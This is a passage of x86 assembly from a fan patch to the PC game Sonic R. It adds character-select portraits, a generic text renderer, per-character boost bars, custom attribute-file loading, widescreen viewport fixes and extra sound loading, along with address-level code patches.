edi push esi push ebx lea ebx, [ebp-600] sub esp, 616 mov al, BYTE PTR [ebp+8] push OFFSET FLAT:KERNEL32 mov BYTE PTR [ebp-609], al call LoadLibraryA sub esp, 12 mov esi, eax push OFFSET FLAT:FINDFIRST push eax call GetProcAddress push OFFSET FLAT:FINDNEXT push esi mov edi, eax call GetProcAddress push OFFSET FLAT:FREELIBRARY push esi mov DWORD PTR [ebp-604], eax call GetProcAddress push DWORD PTR [ebp+12] push ebx mov DWORD PTR [ebp-608], eax call lstrcpyA push DWORD PTR [ebp+16] push ebx call lstrcatA lea eax, [ebp-344] push eax push ebx xor ebx, ebx call edi add esp, 32 cmp eax, -1 je GetFileMatchCount.L2 mov edi, eax GetFileMatchCount.L6: cmp BYTE PTR [ebp-300], 46 je GetFileMatchCount.L3 cmp BYTE PTR [ebp-609], 0 je GetFileMatchCount.L4 xor eax, eax test BYTE PTR [ebp-344], 16 setne al add ebx, eax jmp GetFileMatchCount.L5 GetFileMatchCount.L4: inc ebx GetFileMatchCount.L5: lea eax, [ebp-300] sub esp, 12 push eax call DebugText_Write push offset NEWLINE call DebugText_Write add esp, 16 GetFileMatchCount.L3: push eax push eax lea eax, [ebp-344] push eax push edi call [DWORD PTR [ebp-604]] test eax, eax pop edx pop ecx jne GetFileMatchCount.L6 GetFileMatchCount.L2: sub esp, 12 push esi call [DWORD PTR [ebp-608]] lea esp, [ebp-12] mov eax, ebx pop ebx pop esi pop edi pop ebp ret #; Load SRM1 formatted sttribute files #; INPUT #; EAX: File path #; EBX: Character slot # LoadAttribs: push ebp mov ebp, esp push ebx push edx push ecx push esi push edi mov edx, offset aRb call fopen_ mov [CurrentFile], eax test eax, eax jz LoadAttribs_Return #; Get proper memory address for this attribute shl ebx, 7 add ebx, offset CharModel_AttribStart #; Prepare for read mov ecx, eax # File mov eax, ebx # Write location mov ebx, 128 # Size 1 mov edx, 1 # Size 2 call fread_ LoadAttribs_Return: mov eax, [CurrentFile] call fclose_ pop edi pop esi pop ecx pop edx pop ebx pop ebp ret #; Display character portraits on character select screen instead of models #; because model backface culling is hard... #; Load texture CharSelect_LoadTex: call D3D_LoadTexturePage mov eax, 0x13 mov edx, offset CharSelect_Portraits call D3D_LoadTexturePage mov eax, 0x14 mov [0x6DA61C], eax mov edx, offset 0x532F05 #; credits00.raw call D3D_LoadTexturePage call sub_4D9DD0 jmp loc_48CAFA #; As if nothing happened #; Draw text to a given point on the screen! #; I'm reworking the existing function Credits_ShowTextLine #; INPUT: #; EAX - Text to draw (in credits format) #; EBX - X position (screen coords, center of text) #; ECX - Y position (screen coords, center of text) Generic_DrawText: #GivenXOffset = -0x6C #; New, may cause crash? var_68 = -0x68 var_64 = -0x64 var_60 = -0x60 var_5C = -0x5C var_58 = -0x58 var_54 = -0x54 #; Doubling as given X offset var_50 = -0x50 var_4C = -0x4C TextLine = -0x48 var_44 = -0x44 var_40 = -0x40 var_3C = -0x3C NextChar = -0x38 var_34 = -0x34 var_30 = -0x30 var_2C = -0x2C YOffset = -0x28 XOffset = -0x24 var_20 = -0x20 StringPtr = -0x1C var_18 = -0x18 var_14 = -0x14 push ebp mov ebp, esp push ebx push ecx push edx push esi push edi sub esp, 0x54 #; X offset shl ebx #; For some reason we need to divide by 2 mov [ebp-0x54], ebx #; Y offset sub ecx, 240 mov [ebp+YOffset], ecx #; Everything else mov ebx, offset 0x006DB834 xor edx, edx mov ecx, edx mov cl, 0x25 #; No logos! xor esi, esi mov [ebp-0x48], ecx mov [ebp-0x40], edx mov [ebp-0x38], edx mov [ebp-0x44], edx mov [ebp-0x64], edx #mov ecx, offset GDT_Test mov ecx, eax loc_4DAB53: #;CODE XREF: Credits_ShowTextLine+15Bj mov eax, [ebp+NextChar] mov eax, ds:(0x5050D8+2)[eax*2] sar eax, 0x10 mov [ebp+var_2C], eax #; X offset mov eax, [ebp-0x54] neg eax mov [ebp+XOffset], eax mov [ebp+StringPtr], ecx mov ah, [ecx] xor edi, edi cmp ah, '@' #;Control character? jnz loc_4DAC84 loc_4DAB78: #;CODE XREF: Credits_ShowTextLine+190j # mov eax, [ebp+var_44] # mov eax, Ending_LogoXPosTable[eax] # sar eax, 0x10 xor eax, eax # Don't lookup X offset mov [ebp+var_60], eax mov eax, [ebp+XOffset] mov edx, eax sar edx, 0x1F sub eax, edx sar eax, 1 mov edx, [ebp+var_60] sub edx, eax mov eax, [ebp+var_64] mov [ebp+var_20], edx test eax, eax jz loc_4DAC30 xor edx, edx mov [ebp+var_18], edx test edi, edi jg short loc_4DABB4 jmp loc_4DAC30 ##; -------------------------------------------------------------------------- loc_4DABB4: #;CODE XREF: Credits_ShowTextLine+89j imul eax, [ebp+NextChar], 0x600 mov edx, offset CharPos_Small add edx, eax mov [ebp+var_30], edx loc_4DABC5: #;CODE XREF: Credits_ShowTextLine+10Aj cmp esi, 0x400 jz loc_4DACBC mov edx, [ebp+StringPtr] xor eax, eax mov al, [edx] imul eax, 6 add eax, [ebp+var_30] movsx edx, word ptr [eax] cmp edx, 0xFFFFFFFF jz short loc_4DAC1E mov edx, [ebp+var_20] mov [ebx], dx mov edx, [ebp+YOffset] mov [ebx+2], dx mov dl, [eax] mov [ebx+4], dl mov dl, [eax+2] mov [ebx+5], dl mov dl, [eax+4] mov [ebx+6], dl mov dl, byte ptr [ebp+var_2C] mov [ebx+7], dl mov eax, [eax+2] sar eax, 0x10 mov edx, [ebp+var_20] add eax, eax add ebx, 8 add edx, eax inc esi mov [ebp+var_20], edx loc_4DAC1E: #;CODE XREF: Credits_ShowTextLine+C0j mov eax, [ebp+StringPtr] mov edx, [ebp+var_18] inc eax inc edx mov [ebp+StringPtr], eax mov [ebp+var_18], edx cmp edi, edx jg short loc_4DABC5 loc_4DAC30: #;CODE XREF: Credits_ShowTextLine+7Cj #;Credits_ShowTextLine+8Bj mov eax, [ebp+var_2C] mov dh, [ecx+1] add eax, eax cmp dh, 'x' #;Control Char is 'x' jnz short loc_4DAC45 add [ebp+var_40], eax jmp loc_4DACBC ##; -------------------------------------------------------------------------- loc_4DAC45: #;CODE XREF: Credits_ShowTextLine+117j cmp [ebp+var_64], dword ptr 0 jz short loc_4DAC60 mov edx, [ebp+var_40] add eax, 6 mov edi, [ebp+YOffset] add edx, eax add edi, eax mov [ebp+var_40], edx mov [ebp+YOffset], edi jmp short loc_4DAC67 ##; -------------------------------------------------------------------------- loc_4DAC60: #;CODE XREF: Credits_ShowTextLine+125j mov [ebp+var_64], dword ptr 1 loc_4DAC67: #;CODE XREF: Credits_ShowTextLine+13Aj cmp byte ptr [ecx+1], 0x30 jnz short loc_4DAC71 xor eax, eax jmp short loc_4DAC79 ##; -------------------------------------------------------------------------- loc_4DAC71: #;CODE XREF: Credits_ShowTextLine+147j xor eax, eax mov al, [ecx+1] sub eax, 48 loc_4DAC79: #;CODE XREF: Credits_ShowTextLine+14Bj mov [ebp+NextChar], eax add ecx, 2 jmp loc_4DAB53 ##; -------------------------------------------------------------------------- loc_4DAC84: #;CODE XREF: Credits_ShowTextLine+4Ej mov edx, [ebp+NextChar] imul eax, edx, 0x600 mov [ebp+var_34], eax loc_4DAC90: #;CODE XREF: Credits_ShowTextLine+196j xor eax, eax mov al, [ecx] #;al = '@' imul eax, 6 add eax, [ebp+var_34] mov eax, (CharPos_Small + 2)[eax] sar eax, 0x10 mov edx, [ebp+XOffset] add eax, eax add edx, eax inc ecx mov [ebp+XOffset], edx mov dl, [ecx] inc edi cmp dl, '@' jz loc_4DAB78 jmp short loc_4DAC90 ##; -------------------------------------------------------------------------- loc_4DACBC: #;CODE XREF: Credits_ShowTextLine+A7j #;Credits_ShowTextLine+11Cj mov edx, [ebp+TextLine] xor eax, eax mov ebx, 0xFFFFFFFF mov al, 0x504300[edx] mov [ebp+var_4C], ebx cmp eax, 1 jnz short loc_4DACFF mov edx, 0x80 mov ebx, 0x69 mov ecx, 0x50 mov edi, [ebp+var_40] xor eax, eax mov [ebp+var_68], edx mov [ebp+var_50], ebx mov [ebp+var_54], ecx add edi, 0xC0 mov [ebp+var_4C], eax mov [ebp+var_40], edi jmp short loc_4DAD6A ##; -------------------------------------------------------------------------- loc_4DACFF: #;CODE XREF: Credits_ShowTextLine+1AEj cmp eax, 2 jnz short loc_4DAD2F mov edx, 0x80 mov ebx, 0x82 mov ecx, 0x28 mov edi, [ebp+var_40] mov eax, 0x69 mov [ebp+var_68], edx mov [ebp+var_50], ebx mov [ebp+var_54], ecx add edi, 0x70 mov [ebp+var_4C], eax mov [ebp+var_40], edi jmp short loc_4DAD6A ##; -------------------------------------------------------------------------- loc_4DAD2F: #;CODE XREF: Credits_ShowTextLine+1DEj cmp eax, 3 jnz short loc_4DAD62 mov edx, 0xA8 mov ebx, 0x70 mov ecx, 0x48 mov edi, [ebp+var_40] mov eax, 0x69 mov [ebp+var_68], edx mov [ebp+var_50], ebx mov [ebp+var_54], ecx add edi, 0xB0 mov [ebp+var_4C], eax mov [ebp+var_40], edi jmp short loc_4DAD6A ##; -------------------------------------------------------------------------- loc_4DAD62: #;CODE XREF: Credits_ShowTextLine+20Ej xor ecx, ecx mov [ebp+var_54], ecx mov [ebp+var_50], ecx loc_4DAD6A: #;CODE XREF: Credits_ShowTextLine+1D9j #;Credits_ShowTextLine+209j ... mov eax, [ebp+TextLine] mov edx, ds:Ending_LogoXPosTable[eax*4] mov ebx, [ebp+var_50] sar edx, 0x10 sub edx, ebx mov ebx, ds:(Ending_LogoXPosTable+2)[eax*4] mov eax, [ebp+var_40] mov [ebp+var_5C], edx mov edx, eax sar edx, 0x1F sub eax, edx sar eax, 1 sar ebx, 0x10 mov ecx, [ebp+var_4C] sub ebx, eax mov eax, [ebp+var_54] mov [ebp+var_58], ebx add eax, eax cmp ecx, 0xFFFFFFFF jz short loc_4DADAA add eax, 0x20 loc_4DADAA: #;CODE XREF: Credits_ShowTextLine+281j lea edx, [ebx+eax] mov [ebp+YOffset], edx mov eax, offset Credits_CharRenderTable xor ebx, ebx test esi, esi #;Characters to render? jle short loc_4DADD0 mov edx, [ebp+YOffset] loc_4DADBE: #;CODE XREF: Credits_ShowTextLine+2AAj mov cx, [eax+2] add eax, 8 add ecx, edx inc ebx mov [eax-6], cx cmp ebx, esi jl short loc_4DADBE loc_4DADD0: #;CODE XREF: Credits_ShowTextLine+295j mov edi, offset Credits_CharRenderTable loc_4DAEC3: #;CODE XREF: Credits_ShowTextLine+2B9j xor ebx, ebx test esi, esi jle short loc_4DAF0F loc_4DAEC9: #;CODE XREF: Credits_ShowTextLine+3E9j push 0x0FFE0E0E0 #;Render character (D3D) xor edx, edx xor eax, eax mov dl, [edi+7] xor ecx, ecx push edx mov al, [edi+6] mov cl, [edi+5] push eax push ecx xor ecx, ecx mov cl, [edi+4] push ecx mov ecx, ds:Ending_TextTexPage push ecx add edx, edx push edx add eax, eax add edi, 8 push eax mov edx, [edi-8] #;EDI-8 = XXXXYYYY push 0x40FA0000 sar edx, 0x10 movsx eax, word ptr [edi-8] inc ebx call D3D_Render2DObject cmp ebx, esi jl short loc_4DAEC9 loc_4DAF0F: #;CODE XREF: Credits_ShowTextLine+3A3j mov esi, [ebp+TextLine] cmp esi, 0x24 jnz short loc_4DAF90 push 0x0FFE0E0E0 push 0x48 push 0x70 push 0xA8 push 0x69 mov edi, ds:Ending_TextTexPage push edi mov eax, ds:Ending_LogoXPosTable[esi*4] push 0x90 sar eax, 0x10 push 0xE0 mov edx, 0x30 sub eax, 0x70 push 0x44FA0000 call D3D_Render2DObject #;Sonic R push 0x0FFE0E0E0 push 0x50 push 0x69 push 0x80 push 0 mov eax, ds:Ending_TextTexPage push eax push 0xA0 mov eax, ds:Ending_LogoXPosTable[esi*4] push 0xD2 sar eax, 0x10 mov edx, 0x118 sub eax, 0x69 push 0x44FA0000 call D3D_Render2DObject #;Traveller's Tales loc_4DAF90: #;CODE XREF: Credits_ShowTextLine+31Aj #;Credits_ShowTextLine+39Aj ... cmp [ebp+var_4C], dword ptr 0xFFFFFFFF jz short loc_4DB009 mov edx, [ebp+var_54] mov eax, [ebp+var_50] add edx, edx add eax, eax loc_4DAFDB: #;CODE XREF: Credits_ShowTextLine+485j push 0x0FFE0E0E0 mov ebx, [ebp+var_54] push ebx mov ecx, [ebp+var_50] push ecx mov esi, [ebp+var_68] push esi mov edi, [ebp+var_4C] push edi mov ebx, ds:Ending_TextTexPage push ebx push edx push eax mov edx, [ebp+var_58] mov eax, [ebp+var_5C] push 0x44FA0000 call D3D_Render2DObject loc_4DB009: #;CODE XREF: Credits_ShowTextLine+470j #;Credits_ShowTextLine+4B5j lea esp, [ebp-0x14] pop edi pop esi pop edx pop ecx pop ebx pop ebp ret CharSelect_DispPortrait: #; get identity mov eax, [edi+0xF2] push eax mov ebx, eax xor ecx, ecx push 0xFFE0E0E0 #; Tint mov cl, 128 push ecx #; Height #push 128 push 64 #; Width shr eax, 2 #; / 4 shl eax, 7 #; * 128 push eax #; Y-position in tileset and ebx, 3 #; % 4 shl ebx, 6 #; * 64 push ebx #; X-position in tileset push 0x13 #; Tileset used mov cl, 255 inc cx push ecx #; Y size #push 256 shr cx push ecx #; X size #push 128 #; x = (640 / ESI) * i + [(640 / ESI) / 2] mov ecx, [ebp-0x48] #; Increment i now because we are really low on room #inc ecx #mov [ebp-0x48], ecx mov eax, 640 xor edx, edx idiv esi imul ecx, eax sar eax add eax, ecx mov ecx, eax #; Store X position for text sub eax, 64 #; X position mov dl, 80 #; Y position push 0x43FA0000 #; Z pos call D3D_Render2DObject #; Char text mov eax, offset (CharModel_AttribStart + 4) #; Skip SRM1 header #mov ebx, [edi+0xF2] pop ebx shl ebx, 7 add eax, ebx mov ebx, ecx #; X mov ecx, 336 #; Y #; Stagger Y mov edx, [ebp-0x48] and edx, 1 shl edx, 5 sub ecx, edx #mov eax, offset GDT_Test #; string call Generic_DrawText add edi, 0x71C mov edx, [ebp-0x48] inc edx mov [ebp-0x48], edx cmp esi, edx jg CharSelect_DispPortrait jmp loc_48DB54 #; Draw the Boost Bar BoostBar_Init: # @BoostBar_Init # BB#0: push edi push esi push eax mov esi, dword ptr [esp + 16] mov ecx, dword ptr [esp + 20] mov edi, ecx shl edi, 4 #; I'm being bad by hard-coding stuff. Don't have much choice, though... BoostBar_Init_Tails: cmp cl, 1 #; Tails jnz BoostBar_Init_Blaze mov dword ptr [esi], 2 #; Min = 2 mov dword ptr [esi+4], 60 #; Max = 60 mov dword ptr [esi+24], esi add dword ptr [esi+24], 128 #; Flight meter adjusted for display jmp BoostBar_Init_SrcDone BoostBar_Init_Blaze: cmp cl, 7 #; Blaze jnz BoostBar_Init_Silver mov dword ptr [esi], 0 #; Min = 0 mov dword ptr [esi+4], 300 #; Max = 300 mov dword ptr [esi+24], esi #; Boost meter add dword ptr [esi+24], 128 jmp BoostBar_Init_SrcDone BoostBar_Init_Silver: cmp cl, 6 #; Silver jnz BoostBar_Init_Amy mov dword ptr [esi], 0 #; Min = 0 mov dword ptr [esi+4], 300 #; Max = 300 mov dword ptr [esi+24], esi #; Hover timer add dword ptr [esi+24], 128 jmp BoostBar_Init_SrcDone BoostBar_Init_Amy: cmp cl, 3 #; Amy jnz BoostBar_Init_Fang mov dword ptr [esi], 0 #; Min = 0 mov dword ptr [esi+4], 30 #; Max = 30 mov dword ptr [esi+24], esi #; Hammer time left add dword ptr [esi+24], 128 jmp BoostBar_Init_SrcDone BoostBar_Init_Fang: cmp cl, 4 #; Fang jnz BoostBar_Init_Default mov dword ptr [esi], 0 #; Min = 0 mov dword ptr [esi+4], 90 #; Max = 90 mov dword ptr [esi+24], esi #; Gun cooldown add dword ptr [esi+24], 128 jmp BoostBar_Init_SrcDone BoostBar_Init_Default: mov dword ptr [esi], 0 #; Min = 0 #;mov dword ptr [esi+4], 100 #; Max = 100 mov dword ptr [esi+4], 0 #;mov dword ptr [esi+24], 0x8FD50C #; Ring count mov dword ptr [esi+24], 0 BoostBar_Init_SrcDone: mov dword ptr [esi + 36], edi mov dword ptr [esi + 40], 216 shl ecx, 7 mov eax, [ecx + CharModel_AttribStart+48] #; Primary color mov dword ptr [esi + 28], eax mov eax, [ecx + CharModel_AttribStart+44] #; Secondary color mov dword ptr [esi + 32], eax mov eax, dword ptr [HUDTexPage] mov dword ptr [esi + 44], eax mov word ptr [esi + 8], 12352 mov byte ptr [esi + 10], 0 lea esi, [esi + 8] lea eax, [ecx + CharModel_AttribStart+36] #; Short name sub esp, 8 push eax push esi call lstrcatA #push BoostBar_Draw.LC0 #push esi #call lstrcatA mov word ptr [esi+14], 0x7840 #;"@x" add esp, 12 pop esi pop edi ret BoostBar_Draw: # @BoostBar_Draw # BB#0: push ebp push ebx push edi push esi sub esp, 36 mov ecx, dword ptr [esp + 56] mov eax, dword ptr [ecx + 308] mov edi, dword ptr [ecx + 320] mov ebp, dword ptr [ecx + 324] mov edx, dword ptr [ecx + 328] test eax, eax je BoostBar_Draw.LBB1_1 # BB#2: mov eax, dword ptr [eax] mov esi, dword ptr [ecx + 288] mov dword ptr [esp + 16], 100 # 4-byte Folded Spill cmp eax, esi #; src <= input->max? jg BoostBar_Draw.LBB1_4 # BB#3: sub esi, dword ptr [ecx + 284] imul eax, eax, 100 mov ebx, edx cdq idiv esi mov edx, ebx mov dword ptr [esp + 16], eax # 4-byte Spill cmp dword ptr [Game_HudStyle], 0 jne BoostBar_Draw.LBB1_5 jmp BoostBar_Draw.LBB1_6 BoostBar_Draw.LBB1_1: mov dword ptr [esp + 16], 0 # 4-byte Folded Spill BoostBar_Draw.LBB1_4: cmp dword ptr [Game_HudStyle], 0 je BoostBar_Draw.LBB1_6 BoostBar_Draw.LBB1_5: xor ebx, ebx jmp BoostBar_Draw.LBB1_7 BoostBar_Draw.LBB1_6: #mov eax, dword ptr [Game_Course] #cmp dword ptr [4*eax + CoinCollection], 2 #setne bl xor ebx, ebx inc bx BoostBar_Draw.LBB1_7: mov eax, dword ptr [Game_HUDTTStyle] mov word ptr [esp + 24], 12352 mov dword ptr [esp + 27], 2017473839 mov byte ptr [esp + 31], 0 test bl, bl je BoostBar_Draw.LBB1_9 # BB#8: mov edx, dword ptr [Game_TaggedCharCount] add edx, 48 mov edi, 176 jmp BoostBar_Draw.LBB1_11 BoostBar_Draw.LBB1_9: cmp eax, 3 jne BoostBar_Draw.LBB1_12 # BB#10: mov dl, byte ptr [ecx+0x1F4] add dl, 48 mov edi, 128 BoostBar_Draw.LBB1_11: mov byte ptr [esp + 26], dl mov ebp, 112 mov edx, dword ptr [HUDTexPage] BoostBar_Draw.LBB1_12: mov dword ptr [esp + 32], ebx # 4-byte Spill cmp eax, 3 sete byte ptr [esp + 3] # 1-byte Folded Spill mov eax, dword ptr [Game_WindowCount] cmp dword ptr [Game_HUDSplitStyle], 0 mov esi, 174 je BoostBar_Draw.LBB1_14 # BB#13: mov esi, 414 BoostBar_Draw.LBB1_14: mov dword ptr [esp + 8], edx # 4-byte Spill mov dword ptr [esp + 12], ebp # 4-byte Spill mov dword ptr [esp + 4], edi # 4-byte Spill cmp eax, 2 je BoostBar_Draw.LBB1_16 # BB#15: mov esi, 414 BoostBar_Draw.LBB1_16: mov ebp, dword ptr [ecx + 316] mov eax, 16 mov edi, dword ptr [MISC00TexPage] mov ebx, 0x41200000 mov edx, esi #APP (Boost bar) push ebp push 32 push 128 push 48 push 96 push edi push 64 push 256 push ebx call D3D_Render2DObject #NO_APP mov ebx, 0x41100000 mov eax, 18 mov edi, dword ptr [ecx + 312] mov ebp, dword ptr [MISC00TexPage] lea edx, [esi] #APP (Icon BG) push edi push 27 push 27 push 48 push 224 push ebp push 54 push 54 push ebx call D3D_Render2DObject #NO_APP mov eax, 27 lea edx, [esi + 0x0D] mov edi, dword ptr [esp + 12] # 4-byte Reload mov ebp, dword ptr [esp + 8] # 4-byte Reload mov ebx, dword ptr [esp + 4] # 4-byte Reload mov ecx, 0x41000000 #APP (Icon) push 0xFFE0E0E0 push 16 push 16 push edi push ebx push ebp push 32 push 32 push ecx call D3D_Render2DObject #NO_APP mov eax, dword ptr [esp + 56] mov eax, dword ptr [eax + 312] mov dword ptr [esp + 12], eax # 4-byte Spill mov eax, dword ptr [MISC00TexPage] mov dword ptr [esp + 8], eax # 4-byte Spill mov ebx, dword ptr [esp + 16] # 4-byte Reload lea eax, [ebx + ebx] mov dword ptr [esp + 4], eax # 4-byte Spill mov eax, 61 mov dword ptr [esp + 20], esi # 4-byte Spill lea edx, [esi+32] #; Y offset mov ebp, dword ptr [esp + 12] # 4-byte Reload mov ecx, 0x41100000 mov edi, dword ptr [esp + 8] # 4-byte Reload mov esi, dword ptr [esp + 4] # 4-byte Reload #APP (Meter) push ebp push 50 push ebx push 79 push 119 push edi push 100 push esi push ecx call D3D_Render2DObject #NO_APP mov eax, dword ptr [esp + 56] add eax, 292 mov ecx, dword ptr [esp + 32] # 4-byte Reload or cl, byte ptr [esp + 3] # 1-byte Folded Reload jne BoostBar_Draw.LBB1_18 # BB#17: cmp byte ptr [eax], 64 jne BoostBar_Draw.LBB1_21 BoostBar_Draw.LBB1_18: test cl, 1 je BoostBar_Draw.LBB1_20 # BB#19: lea eax, [esp + 24] BoostBar_Draw.LBB1_20: mov ecx, dword ptr [esp + 20] # 4-byte Reload add ecx, 16 mov ebx, 112 #APP call Generic_DrawText #NO_APP BoostBar_Draw.LBB1_21: add esp, 36 pop esi pop edi pop ebx pop ebp ret #; Init custom level stuff InitLevel_2: push eax push ebx push ecx push edx push esi push edi #; Find first open texture page xor ecx, ecx InitLevel2_FindTPageLoop: mov al, TexturePagesLoaded[ecx] test al, al jz InitLevel2_FindTPageLoop_End inc ecx jmp InitLevel2_FindTPageLoop InitLevel2_FindTPageLoop_End: mov eax, ecx #; Load credits GFX page for text mov [0x6DA61C], eax #; Store as credits tpage mov edx, offset 0x532F05 #; credits00.raw call D3D_LoadTexturePage #; Init credits text call sub_4D9DD0 #; Init boost bar mov ecx, 5 InitLevel2_BoostBarInitLoop: imul eax, ecx, 0x71C add eax, 0x8FCEF4 #; Write tint data to +0x1BC mov dword ptr [eax+0xA0], 0xFFFFFFFF push ecx mov ebx, [eax - 42] #; Identity push ebx push eax call BoostBar_Init add esp, 8 pop ecx loop InitLevel2_BoostBarInitLoop pop edi pop esi pop edx pop ecx pop ebx pop eax ret #; Really quick patch to make horiz split MP work in widescreen Render_SetViewport_Classic: mov edx, [eax] mov [0x6E98BC], edx #; Render2DObject-Xoff add edx, edx mov [0x6E98E8], edx #; Render2dObject-Yoff mov edx, [eax+4] mov [0x6E98CC], edx #; Right clipping plane? (on main menu) #; Increases with screen size mov edx, [eax+8] mov [0x6E98C0], edx #; Same as above, but only main menu elements mov edx, [eax+0x0C] mov [0x6E98D0], edx #; Width scalar for all menu elements #; Range 0-640 #; (On title screen, all except "R") #; (On menu screen, everything) #; (In game, pause flag.) mov edx, [eax+0x10] mov [0x6E98EC], edx #; Height scalar for all menu elements #; Range 0-640 mov edx, [eax+0x14] mov [0x6E98F0], edx mov edx, [eax+0x18] mov [0x6E98F4], edx mov edx, [eax+0x1C] mov [0x6E98D4], edx mov edx, [eax+0x20] mov [0x6E98D8], edx mov edx, [eax+0x24] mov [0x6E98DC], edx mov edx, [eax+0x28] mov [0x6E98E0], edx mov edx, [eax+0x2C] mov [0x6E98C4], edx mov edx, [eax+0x30] mov [0x6E98C8], edx mov edx, [eax+0x34] mov [0x6E9900], edx mov edx, [eax+0x38] mov [0x6E9904], edx mov edx, [eax+0x3C] mov [0x6E98F8], edx #;mov edx, [eax+0x40] mov edx, dword ptr [0x6E98BC] mov [0x6E98FC], edx mov eax, [eax+0x50] mov edx, offset 0x8F7354 shl eax, 2 add edx, eax mov [0x51E070], edx ret Render_SetViewport_HD: mov eax, dword ptr [0x6E98BC] mov dword ptr [0x6E98FC], eax #; Store left bound in Draw2DObject donor address xor eax, eax mov dword ptr [0x6E98BC], eax #; VirtualLeftBound mov dword ptr [0x6E98C0], 0x7E8 ret CharDif_Action_Amy_Extern: push ebx mov eax, 1024 sub esp, 32 mov edx, DWORD PTR [esp+44] mov ecx, DWORD PTR [edx+16] sub eax, ecx mov ecx, eax sar ecx, 31 shr ecx, 20 add eax, ecx and eax, 4095 sub eax, ecx test BYTE PTR [esp+40], 64 mov DWORD PTR [esp+4], eax mov eax, DWORD PTR [edx+68] fild DWORD PTR [esp+4] fmul QWORD PTR CharDif_Action_Amy.LC0 fstp QWORD PTR [esp+24] mov DWORD PTR [esp+16], eax je CharDif_Action_Amy.L2 mov eax, DWORD PTR [edx+412] test eax, eax je CharDif_Action_Amy.L12 CharDif_Action_Amy.L2: mov eax, DWORD PTR [edx+412] mov ecx, DWORD PTR [edx+412] test ecx, ecx jle CharDif_Action_Amy.L9 mov DWORD PTR [esp+4], eax mov eax, DWORD PTR [edx+412] fild DWORD PTR [esp+4] fmul QWORD PTR CharDif_Action_Amy.LC1 dec eax mov DWORD PTR [edx+412], eax fnstcw WORD PTR [esp+14] mov ax, WORD PTR [esp+14] fld QWORD PTR CharDif_Action_Amy.LC2 fadd st, st(1) mov ah, 12 mov WORD PTR [esp+12], ax fsin fld DWORD PTR CharDif_Action_Amy.LC3 fmul st(1), st fxch st(1) fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] fldcw WORD PTR [esp+14] mov ecx, DWORD PTR [edx+56] mov ebx, DWORD PTR [edx+4] mov eax, DWORD PTR [esp+8] mov DWORD PTR [esp+20], ecx mov ecx, DWORD PTR [esp+20] add eax, ebx cmp ecx, eax jg CharDif_Action_Amy.L13 fxch st(1) fsub QWORD PTR CharDif_Action_Amy.LC4 mov WORD PTR [edx+234], 24 mov DWORD PTR [edx+412], 0 fsincos fxch st(1) fmulp st(2), st fxch st(1) fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] fldcw WORD PTR [esp+14] mov eax, DWORD PTR [esp+8] mov DWORD PTR [edx+48], eax fld QWORD PTR [esp+24] fcos mov eax, DWORD PTR [edx+44] mov DWORD PTR [esp+4], eax fld DWORD PTR CharDif_Action_Amy.LC5 fmul st(1), st fxch st(1) fmul st, st(2) fild DWORD PTR [esp+4] faddp st(1), st fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] fldcw WORD PTR [esp+14] mov eax, DWORD PTR [esp+8] mov DWORD PTR [edx+44], eax fld QWORD PTR [esp+24] fsin mov eax, DWORD PTR [edx+52] mov DWORD PTR [esp+4], eax fmulp st(1), st fmulp st(1), st fild DWORD PTR [esp+4] faddp st(1), st fldcw WORD PTR [esp+12] fistp DWORD PTR [esp+8] fldcw WORD PTR [esp+14] mov eax, DWORD PTR [esp+8] mov DWORD PTR [edx+52], eax jmp CharDif_Action_Amy.L9 CharDif_Action_Amy.L13: fstp st(0) fstp st(0) CharDif_Action_Amy.L9: add esp, 32 pop ebx ret CharDif_Action_Amy.L12: mov ax, WORD PTR [edx+114] test ax, ax jne CharDif_Action_Amy.L2 mov DWORD PTR [edx+412], 30 jmp CharDif_Action_Amy.L2 CharDif_Action_Amy.LC0: .long 1413754136 .long 1062806011 CharDif_Action_Amy.LC1: .long 4084984789 .long 1069207273 CharDif_Action_Amy.LC2: .long 1413754136 .long 1072243195 CharDif_Action_Amy.LC3: .long 1212370944 CharDif_Action_Amy.LC4: .long 2134057426 .long 1073928572 CharDif_Action_Amy.LC5: .long 1193033728 #; Load even more SFX LoadMoreSFX: mov edx, 0x38 mov eax, offset SoundSfxRingLoss_wav call LoadSFXFiles call sub_4D0760 #; Hijacks this function call, still needs to be called ret Unused_Start: #; Forcibly stop unused space .org 0x43D41A, 0x0B0F #; Malloc-sub_4437FC .org 0x4439B4 imul edx, 24 add edx, dword ptr [CharModel_QuadPtr] sar edi, 8 .org 0x4439CA, 0x90 .org 0x4439E7 imul edx, 24 add edx, dword ptr [AnimFrames_BasePtr] .org 0x4439FA, 0x90 .org 0x443BDD add ecx, dword ptr [CharModel_BasePtr] .org 0x443BE3, 0x90 .org 0x443D5B imul edx, [eax+8], 0x32 add edx, dword ptr [CharModel_VertexPtr] #;CHECKME .org 0x443D66, 0x90 .org 0x443D94 add eax, dword ptr [CharModel_BasePtr] .org 0x443D9A, 0x90 .org 0x443DA6 xor ebx, ebx imul bx, word ptr [ebx+0x22], 64 add ebx, dword ptr [CharModel_BasePtr] .org 0x443DB6, 0x90 .org 0x443DCC add ecx, dword ptr [CharModel_BasePtr] .org 0x443DD2, 0x90 .org 0x443DF2 add edx, dword ptr [CharModel_BasePtr] .org 0x443DF8, 0x90 .org 0x4441D5 mov ebx, [edx] add ebx, [ebp-0x1C] shl ebx, 6 add ebx, dword ptr [CharModel_BasePtr] .org 0x4441E7, 0x90 .org 0x4441FF mov esi, [edx] add esi, [ebp-0x1C] shl esi, 6 add esi, dword ptr [CharModel_BasePtr] .org 0x444211, 0x90 .org 0x444234 add ecx, dword ptr [CharModel_BasePtr] .org 0x44423A, 0x90 .org 0x444269 add edx, dword ptr [CharModel_BasePtr] .org 0x44426F, 0x90 #; Malloc-DDraw_DisplayCharacterModel .org 0x44D60A lea edx, [edx*2 + edx] shl edx, 3 add edx, [CharModel_QuadPtr] mov edx, dword ptr [edx] sar ebx, 0x0C .org 0x44D620, 0x90 .org 0x44D658 lea edx, [edx+edx*2] shl edx, 3 add edx, [AnimFrames_BasePtr] mov edx, dword ptr [edx] mov dword ptr [ebp-0xB8], esi xor esi, esi .org 0x44D673, 0x90 .org 0x44DE51 add ebx, dword ptr [CharModel_BasePtr] .org 0x44DE57, 0x90 .org 0x44DF3C imul edx, [eax+8], 0x30 add edx, [0x00713E68] mov edx, [edx] imul eax, [0x8FB358], 0x78 .org 0x44DF50, 0x90 .org 0x44DF8D add eax, dword ptr [CharModel_BasePtr] .org 0x44DF93, 0x90 